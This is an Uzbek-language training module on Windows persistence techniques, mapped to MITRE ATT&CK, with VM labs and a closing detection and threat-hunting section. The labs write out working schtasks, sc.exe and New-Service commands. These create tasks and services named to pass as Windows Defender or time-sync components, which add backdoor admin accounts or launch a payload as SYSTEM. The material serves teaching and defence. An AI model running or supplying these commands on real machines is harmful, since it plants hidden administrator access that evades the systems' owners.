WINDOWS PERSISTENCE

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Kurs: **Kiberxavfsizlik |** Daraja: **Intermediate → Advanced**

Davomiyligi: ~1.5 soat | Amaliy laboratoriyalar bilan

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MODUL 1

WHAT IS PERSISTENCE?

Persistence nima? — Asosiy tushunchalar

Persistence nima?

Ta'rif: Persistence — bu hujumchining tizimga kirish huquqini qayta ishga tushirishlar, parol o'zgarishlari yoki boshqa uzilishlardan keyin ham saqlab qolish qobiliyatidir. Bu MITRE ATT&CK doirasidagi TA0003 taktikasiga to'g'ri keladi.

Nima uchun kerak?

- Tizim qayta ishga tushirilganda ham kirish
- Foydalanuvchi chiqib ketganda saqlanish
- Parol o'zgarishidan himoya
- Uzoq muddatli nazorat (APT)

MITRE ATT&CK

- T1053 — Scheduled Task/Job
- T1543 — Create/Modify Service
- T1547 — Boot/Logon Autostart
- T1546 — WMI Event Subscription

Xavf darajasi

- Krit: Service & WMI
- Yuqori: Scheduled Tasks
- O'rta: Startup Folders
- DLL Hijacking (kontekstga bog'liq)

Hujum zanjirida Persistence

Reconnaissance
Razvedka

Initial Access
Kirish

Execution
Ishga tushirish

PERSISTENCE
← Biz shu yerda!

Privilege Escalation
Imtiyoz oshirish

Lateral Movement
Gorizontal harakat

Exfiltration
Ma'lumot o'g'irlash

Nima uchun Persistence MUHIM?

Bir martalik kirish etarli emas:
Tizim qayta ishga tushirilishi mumkin → kirish yo'qoladi. Persistence orqali tajovuzkor:

✓ Har safar tizim yonganida avtomatik ishga tushadi
✓ Hisoblar o'chirilsa ham omon qoladi
✓ Uzoq muddatli APT hujumlarini amalga oshiradi
✓ SOC aniqlagunicha tizimda qoladi

M O D U L 2

SCHEDULED TASKS

Vazifalar rejalashtiruvchisi orqali mustahkamlanish

Scheduled Tasks — Nazariya

Task Scheduler nima?

Windows'ning o'rnatilgan vositasi bo'lib, belgilangan vaqtda yoki hodisada dasturlarni avtomatik ishga tushiradi.

Trigger turlari:
- Tizim yonganida (At Startup)
- Foydalanuvchi kirganida (At Logon)
- Belgilangan vaqtda (Scheduled)
- Hodisa ro'y berganida (On Event)

Saqlash joylari:
C:\Windows\System32\Tasks\
C:\Windows\SysWOW64\Tasks\

Asosiy buyruqlar

```
# Vazifa yaratish
schtasks /create
  /tn "VazifaNomi"
  /tr "C:\path\evil.exe"
  /sc ONLOGON
  /ru SYSTEM

# Ro'yxatni ko'rish
schtasks /query /fo LIST /v

# Vazifani o'chirish
schtasks /delete /tn "Nomi" /f

# XML eksport
schtasks /query /tn "Nomi"
  /xml
```

LAB 1 Scheduled Tasks orqali Persistence

Muhit: Windows 10/11 VM | Imtiyoz: Administrator

1 Test payload yaratish

```
# cmd.exe ni administrator sifatida oching
echo @echo off > C:\Temp\persist_test.bat
echo echo [!] Persistence ishlayapti >> C:\Temp\persist_test.bat
echo net user HackerUser P@ss123 /add >> C:\Temp\persist_test.bat
```

Bu faqat demo uchun — haqiqiy hujumda bu reverse shell bo'ladi

2 Vazifa yaratish (schtasks)

```
schtasks /create /tn "WindowsDefenderCache" /tr "C:\Temp\persist_test.bat" /sc ONLOGON /ru SYSTEM /f
```

Nomi qonuniy ko'rinishida — steganografiya usuli

3 Tekshirish va sinab ko'rish

```
# Vazifa yaratilganini tekshiring
schtasks /query /tn "WindowsDefenderCache" /v /fo LIST

# VMni qayta yoqing va tekshiring
net user | findstr HackerUser
```

MODUL 3

WINDOWS SERVICES

Xizmatlar orqali tizimda qolish

Windows Services — Nazariya

Windows xizmatlari (Services) — fon rejimida ishlaydigan, ko'pincha SYSTEM imtiyozlari bilan bajariladigan dasturlar. Ular tizim yonganida avtomatik ishga tushirilishi mumkin. Bu ularni persistence uchun IDEAL joy qiladi.

Registry joyi: HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]

sc.exe buyruqlari

```
# Xizmat yaratish
sc create EvilSvc
  binPath= "C:\evil.exe"
  start= auto
  obj= "LocalSystem"

# Xizmatni boshqarish
sc start EvilSvc
sc stop EvilSvc
sc delete EvilSvc

# Ma'lumot olish
sc query EvilSvc
sc qc EvilSvc
```

Start turlari

0 — Boot: Kernel yuklanishida
1 — System: I/O manageriga oldin
2 — Automatic: Tizim yonganida ← Eng ko'p ishlatiladi
3 — Manual: Qo'lda ishga tushirish
4 — Disabled: O'chirilgan

⚠ **MITRE: T1543.003**

LAB 2

Zararli Windows Xizmati yaratish

Muhit: Windows 10/11 VM | Imtiyoz: Administrator

Payload sifatida .bat faylini xizmatga mos holga keltirish

```
# Xizmat sifatida ishlaydigan oddiy skript
# Haqiqiy hujumda bu msfvenom bilan yaratilgan exe bo'lardi
# Biz sc.exe yordamida cmd.exe ni ishlatamiz

sc create "WindowsTimeSync" binPath= "cmd.exe /c net user BackdoorAdmin P@ss456! /add" start= auto obj= LocalSystem
```

```
------ Xizmatni ishga tushiring
sc start "WindowsTimeSync"
-----  Natijani tkshiring
net user BackdoorAdmin
------ Xizmat holatini ko'ring
sc query "WindowsTimeSync"
```

```
# PowerShell orqali yanada kuchli persistence
New-Service -Name "WinDefUpdate" `
  -BinaryPathName "C:\Windows\Temp\payload.exe" `
  -StartupType Automatic `
  -Description "Windows Defender Update Service"
```

⚠ Tozalash: sc stop "WindowsTimeSync" && sc delete "WindowsTimeSync" && net user BackdoorAdmin /delete

M O D U L 5

DETECTION & DEFENSE

Aniqlash va Himoya — Blue Team

Blue Team: Aniqlash va Himoya

Persistence Turi	Qayerda qidirish	Aniqlash vositasi	Event ID
Scheduled Tasks	C:\Windows\System32\Tasks\	Autoruns, TaskScheduler log	4698, 4702
Windows Services	sc query, HKLM\...\Services\	Sysmon, Event Viewer	7045, 4697
Startup Folder	%APPDATA%\...\Startup\	Autoruns, dir buyrug'i	N/A
DLL Hijacking	Process Monitor, Sysmon	Sigcheck, WMIC	7 (Sysmon)
WMI Subscription	WMI repository	Get-WMIObject, WMI Monitor	5857-5861

Sysinternals Autoruns — barcha persistence mexanizmlarini bir joyda ko'rsatuvchi eng yaxshi vosita. Yuklab olish: docs.microsoft.com/sysinternals/autoruns | Ishga tushirish: autoruns.exe /AcceptEula

Threat Hunting: Qidirish Buyruqlari

Rejalashtirilgan vazifalarni tekshirish

```
# Barcha vazifalarni export qiling
schtasks /query /fo CSV /v > C:\Temp\tasks_audit.csv

# PowerShell bilan batafsil ma'lumot
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, TaskPath, State | Sort-Object TaskPath
```

Barcha xizmatlarni audit qilish

```
# Noma'lum yo'lda ishlaydigan xizmatlar
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike "*system32*" -and $_.PathName -notlike "*Program Files*"} |
Select Name, PathName, StartMode
```

WMI Subscription'larni qidirish

```
# Barcha WMI subscriptionlarni tekshiring
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter | Select Name, Query
Get-WMIObject -Namespace "root\subscription" -Class CommandLineEventConsumer | Select Name, CommandLineTemplate
```

XULOSA

- ✅ Persistence nima va nima uchun muhimligi (MITRE TA0003)
- ✅ Scheduled Tasks (schtasks) — T1053.005
- ✅ Windows Services (sc.exe) — T1543.003
- ✅ Startup Folders — T1547.001
- ✅ DLL Hijacking — T1574.001
- ✅ WMI Event Subscription — T1546.003 (eng yashirin)
- ✅ Blue Team: Aniqlash, hunting buyruqlari va Autoruns